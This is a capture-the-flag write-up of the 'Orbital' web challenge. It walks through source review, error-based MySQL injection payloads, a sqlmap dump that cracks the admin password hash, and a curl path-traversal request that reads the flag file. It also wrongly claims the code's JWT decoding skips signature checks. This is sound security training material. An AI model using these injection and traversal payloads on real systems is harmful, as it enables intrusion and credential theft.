# Orbital
## Background
In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230318224918.png)
## Enumeration
**Home page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230318225008.png)
In here, we see there's a login page.
Whenever I deal with a login page, I always try SQL injection to bypass the authentication, like `' OR 1=1-- -`:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230318225229.png)
Ahh nope.
**Let's read the [source code](https://github.com/siunam321/CTF-Writeups/blob/main/Cyber-Apocalypse-2023/Web/Orbital/web_orbital.zip)!**```shell┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.18|22:52:45(HKT)]└> file web_orbital.zip web_orbital.zip: Zip archive data, at least v1.0 to extract, compression method=store┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.18|22:52:46(HKT)]└> unzip web_orbital.zip Archive:  web_orbital.zip   creating: web_orbital/   creating: web_orbital/config/  inflating: web_orbital/config/supervisord.conf    inflating: web_orbital/Dockerfile    inflating: web_orbital/build-docker.sh  extracting: web_orbital/flag.txt       creating: web_orbital/files/  inflating: web_orbital/files/communication.mp3     creating: web_orbital/challenge/  inflating: web_orbital/challenge/run.py    creating: web_orbital/challenge/application/   creating: web_orbital/challenge/application/blueprints/  inflating: web_orbital/challenge/application/blueprints/routes.py   inflating: web_orbital/challenge/application/config.py   inflating: web_orbital/challenge/application/util.py   inflating: web_orbital/challenge/application/database.py    creating: web_orbital/challenge/application/static/   creating: web_orbital/challenge/application/static/css/  inflating: web_orbital/challenge/application/static/css/bootstrap.min.css    inflating: web_orbital/challenge/application/static/css/star.css    inflating: web_orbital/challenge/application/static/css/style.css    inflating: web_orbital/challenge/application/static/css/graph.css     creating: web_orbital/challenge/application/static/images/  inflating: web_orbital/challenge/application/static/images/map.png    inflating: web_orbital/challenge/application/static/images/logo.png     creating: web_orbital/challenge/application/static/js/  inflating: web_orbital/challenge/application/static/js/script.js    inflating: web_orbital/challenge/application/static/js/dashboard.js    inflating: web_orbital/challenge/application/static/js/jquery.js     creating: web_orbital/challenge/application/templates/  inflating: web_orbital/challenge/application/templates/home.html    inflating: web_orbital/challenge/application/templates/login.html    inflating: web_orbital/challenge/application/main.py   inflating: web_orbital/entrypoint.sh```
**In `entrypoint.sh`, we can see the MySQL database schema:**```bashmysql -u root << EOFCREATE DATABASE orbital;CREATE TABLE orbital.users (    id INTEGER PRIMARY KEY AUTO_INCREMENT,    username varchar(255) NOT NULL UNIQUE,    password varchar(255) NOT NULL);CREATE TABLE orbital.communication (    id INTEGER PRIMARY KEY AUTO_INCREMENT,    source varchar(255) NOT NULL,    destination varchar(255) NOT NULL,    name varchar(255) NOT NULL,    downloadable varchar(255) NOT NULL);INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Titan', 'Arcturus', 'Ice World Calling Red Giant', 'communication.mp3');INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Andromeda', 'Vega', 'Spiral Arm Salutations', 'communication.mp3');INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Proxima Centauri', 'Trappist-1', 'Lone Star Linkup', 'communication.mp3');INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('TRAPPIST-1h', 'Kepler-438b', 'Small World Symposium', 'communication.mp3');INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Winky', 'Boop', 'Jelly World Japes', 'communication.mp3');CREATE USER 'user'@'localhost' IDENTIFIED BY 'M@k3l@R!d3s$';GRANT SELECT ON orbital.users TO 'user'@'localhost';GRANT SELECT ON orbital.communication TO 'user'@'localhost';FLUSH PRIVILEGES;EOF```
**After looking around at the source code, I immediately found a vulnerability in the implementation of JWT (JSON Web Token) in `application/util.py`:**```pydef verifyJWT(token):    try:        token_decode = jwt.decode(            token,            key,            algorithms='HS256'        )
        return token_decode    except:        return abort(400, 'Invalid token!')```
As you can see, the `verifyJWT()` function is using `jwt.decode()` method instead of `jwt.verify()`!!!
Which means ***it doesn't verify the JWT is being tampered or not by signing a secret!***
**Then, in `application/blueprints/routes.py`, there's a `/login` route (endpoint):**```pyfrom flask import Blueprint, render_template, request, session, redirect, send_filefrom application.database import login, getCommunicationfrom application.util import response, isAuthenticated[...]@api.route('/login', methods=['POST'])def apiLogin():    if not request.is_json:        return response('Invalid JSON!'), 400     data = request.get_json()    username = data.get('username', '')    password = data.get('password', '')     if not username or not password:        return response('All fields are required!'), 401     user = login(username, password)     if user:        session['auth'] = user        return response('Success'), 200     return response('Invalid credentials!'), 403```
When a POST request with parameter `username` and `password` in JSON format is sent, run function `login()` from `application.database`.
**`login()`:**```pyfrom colorama import Cursorfrom application.util import createJWT, passwordVerifyfrom flask_mysqldb import MySQL[...]def login(username, password):    # I don't think it's not possible to bypass login because I'm verifying the password later.    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
    if user:        passwordCheck = passwordVerify(user['password'], password)
        if passwordCheck:            token = createJWT(user['username'])            return token    else:        return False```
In here, we see **the SQL query doesn't use prepare statement, which is vulnerable to SQL injection!!**
However, it only parses the `username`???
Then, if there's result from that SQL query, **it runs function `passwordVerify()`** with the correct password from the database, and the password that we provided.
**`passwordVerify()`:**```pydef passwordVerify(hashPassword, password):    md5Hash = hashlib.md5(password.encode())
    if md5Hash.hexdigest() == hashPassword: return True    else: return False```
In here, it uses MD5 to hash our provided password.
If the MD5 hash is matched to the correct one, then return `True`.
If `True`, then create a new JWT for the user.
Hmm... It seems like we can't bypass the password check??
**In `applications/blueprints/routes.py`, there're more routes:**```py@web.route('/home')@isAuthenticateddef home():    allCommunication = getCommunication()    return render_template('home.html', allCommunication=allCommunication)[...]@api.route('/export', methods=['POST'])@isAuthenticateddef exportFile():    if not request.is_json:        return response('Invalid JSON!'), 400     data = request.get_json()    communicationName = data.get('name', '')
    try:        # Everyone is saying I should escape specific characters in the filename. I don't know why.        return send_file(f'/communications/{communicationName}', as_attachment=True)    except:        return response('Unable to retrieve the communication'), 400```
In here, the `/home` will check if we authenticated or not.
Umm... I wonder can I create a new JWT, and go to route `/home` to bypass the authentication...
But nope...
Let's take a step back.
## Exploitation
In `/api/login` route, we found that **the login SQL query doesn't use prepare statement**.
Armed with above information, instead of doing authentication bypass, we can try to exfiltrate data from the database via SQL injection.
**To do so, I'll try to trigger an error:**```json{    "username":"\"",    "password":"test"}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319115938.png)
Oh!! We've triggered an SQL syntax error!
**Let's try to supply 2 double quotes:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319120015.png)
No error!!
Which means the login api is vulnerable to **Error-based MySQL injection!!**
**Then, according to [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-error-based---updatexml-function), we can use UpdateXML function to fetch data:**
```sqlAND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--```
Let's do that!
**Find MySQL version:**```json{"username":"\"AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-\"","password":"test"}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319122137.png)
- MySQL version: 10.6.12-MariaDB
Since we found the `admin` user is in table `users` from the source code, we can skip the enumerating table and column names process.
**Extract `admin` user data:**```json{"username":"\"AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),username,0x3a,password,CHAR(126)) FROM users LIMIT 0,1)),null)-\"","password":"test"}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319123325.png)
Nice! However, we only got **some password**...
**Hmm... Let's fireup `sqlmap`:**```shell┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.19|12:46:17(HKT)]└> sqlmap -u http://143.110.160.221:30809/api/login --data='{"username":"test","password":"test"}' --dbms=MySQL --batch -D orbital -T users --dump[..]JSON data found in POST body. Do you want to process it? [Y/n/q] Y[12:46:35] [INFO] testing connection to the target URL[12:46:36] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the testssqlmap resumed the following injection point(s) from stored session:---Parameter: JSON username ((custom) POST)    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: {"username":"test"="test" AND (SELECT 2688 FROM(SELECT COUNT(*),CONCAT(0x71716b7171,(SELECT (ELT(2688=2688,1))),0x7176786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "test"="test","password":"test"}
    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: {"username":"test"="test" AND (SELECT 6499 FROM (SELECT(SLEEP(5)))VFpT) AND "test"="test","password":"test"}---[12:46:36] [INFO] testing MySQL[12:46:36] [INFO] confirming MySQL[12:46:36] [WARNING] potential permission problems detected ('command denied')[12:46:36] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[12:46:36] [INFO] fetching columns for table 'users' in database 'orbital'[12:46:37] [INFO] retrieved: 'id'[12:46:37] [INFO] retrieved: 'int(11)'[12:46:38] [INFO] retrieved: 'username'[12:46:38] [INFO] retrieved: 'varchar(255)'[12:46:39] [INFO] retrieved: 'password'[12:46:39] [INFO] retrieved: 'varchar(255)'[12:46:39] [INFO] fetching entries for table 'users' in database 'orbital'[12:46:40] [INFO] retrieved: '1'[12:46:40] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb'[12:46:41] [INFO] retrieved: 'admin'[12:46:41] [INFO] recognized possible password hashes in column 'password'do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] Ndo you want to crack them via a dictionary-based attack? [Y/n/q] Y[12:46:41] [INFO] using hash method 'md5_generic_passwd'what dictionary do you want to use?[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)[2] custom dictionary file[3] file with list of dictionary files> 1[12:46:41] [INFO] using default dictionarydo you want to use common password suffixes? (slow!) [y/N] N[12:46:41] [INFO] starting dictionary-based cracking (md5_generic_passwd)[12:46:41] [INFO] starting 4 processes [12:46:43] [INFO] cracked password 'ichliebedich' for user 'admin'                                                                                                                                                 Database: orbital                                                                                                                                                                                                  Table: users[1 entry]+----+-------------------------------------------------+----------+| id | password                                        | username |+----+-------------------------------------------------+----------+| 1  | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin    |+----+-------------------------------------------------+----------+```
`sqlmap` found the password and cracked the MD5 hash!
**That being said, we can login with `admin:ichliebedich`!**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319124934.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319125054.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319124946.png)
Boom! I'm in!
**Now, do you still remember there's a route called `/export`?**```py@api.route('/export', methods=['POST'])@isAuthenticateddef exportFile():    if not request.is_json:        return response('Invalid JSON!'), 400     data = request.get_json()    communicationName = data.get('name', '')
    try:        # Everyone is saying I should escape specific characters in the filename. I don't know why.        return send_file(f'/communications/{communicationName}', as_attachment=True)    except:        return response('Unable to retrieve the communication'), 400```
**In the home page, we see this:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319125222.png)
Let's try to export one!
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/Cyber-Apocalypse-2023/images/Pasted%20image%2020230319125244.png)
We downloaded a MP3 file.
In that route, if the request method is POST, then it checks the request body is JSON or not.
After that, it'll get key `name`'s value (`communicationName`).
Finally, it'll send us a file from `/communications/{communicationName}`.
Since there's no validation to check ***path travsal***, we can try to get the flag!
**But first, let's look at the web application's file structure:**```shell┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital/web_orbital)-[2023.03.19|12:52:56(HKT)]└> ls -lah files/communication.mp3-rw-r--r-- 1 siunam nam 111K Mar 14 21:15 files/communication.mp3```
As you can see, the `communication.mp3` is in `/communications/files/`.
**Then, in `Dockerfile`, we see where does the flag lives:**```bash# copy flagCOPY flag.txt /signal_sleuth_firmwareCOPY files /communications/```
**That being said, we can download the flag via `../../../signal_sleuth_firmware`:**```shell┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.19|13:00:17(HKT)]└> curl http://143.110.160.221:30809/api/export --cookie "session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qYzVNakl5T1RjMGZRLldDNTFaRmd5ZjE2cUVaZ3VtN29qbVJyWVRHb0F3Ni1Wbnd3eGQwbGFTN2MifQ.ZBaUXg.Raqq6_Z94_wxwrORI5bOTm99cPw" -d '{"name":"../../../signal_sleuth_firmware"}' -H 'Content-Type: application/json'HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}```
Nice!
- **Flag: `HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}`**
## Conclusion
What we've learned:
1. Exploiting Error-Based/Time-Based SQL Injection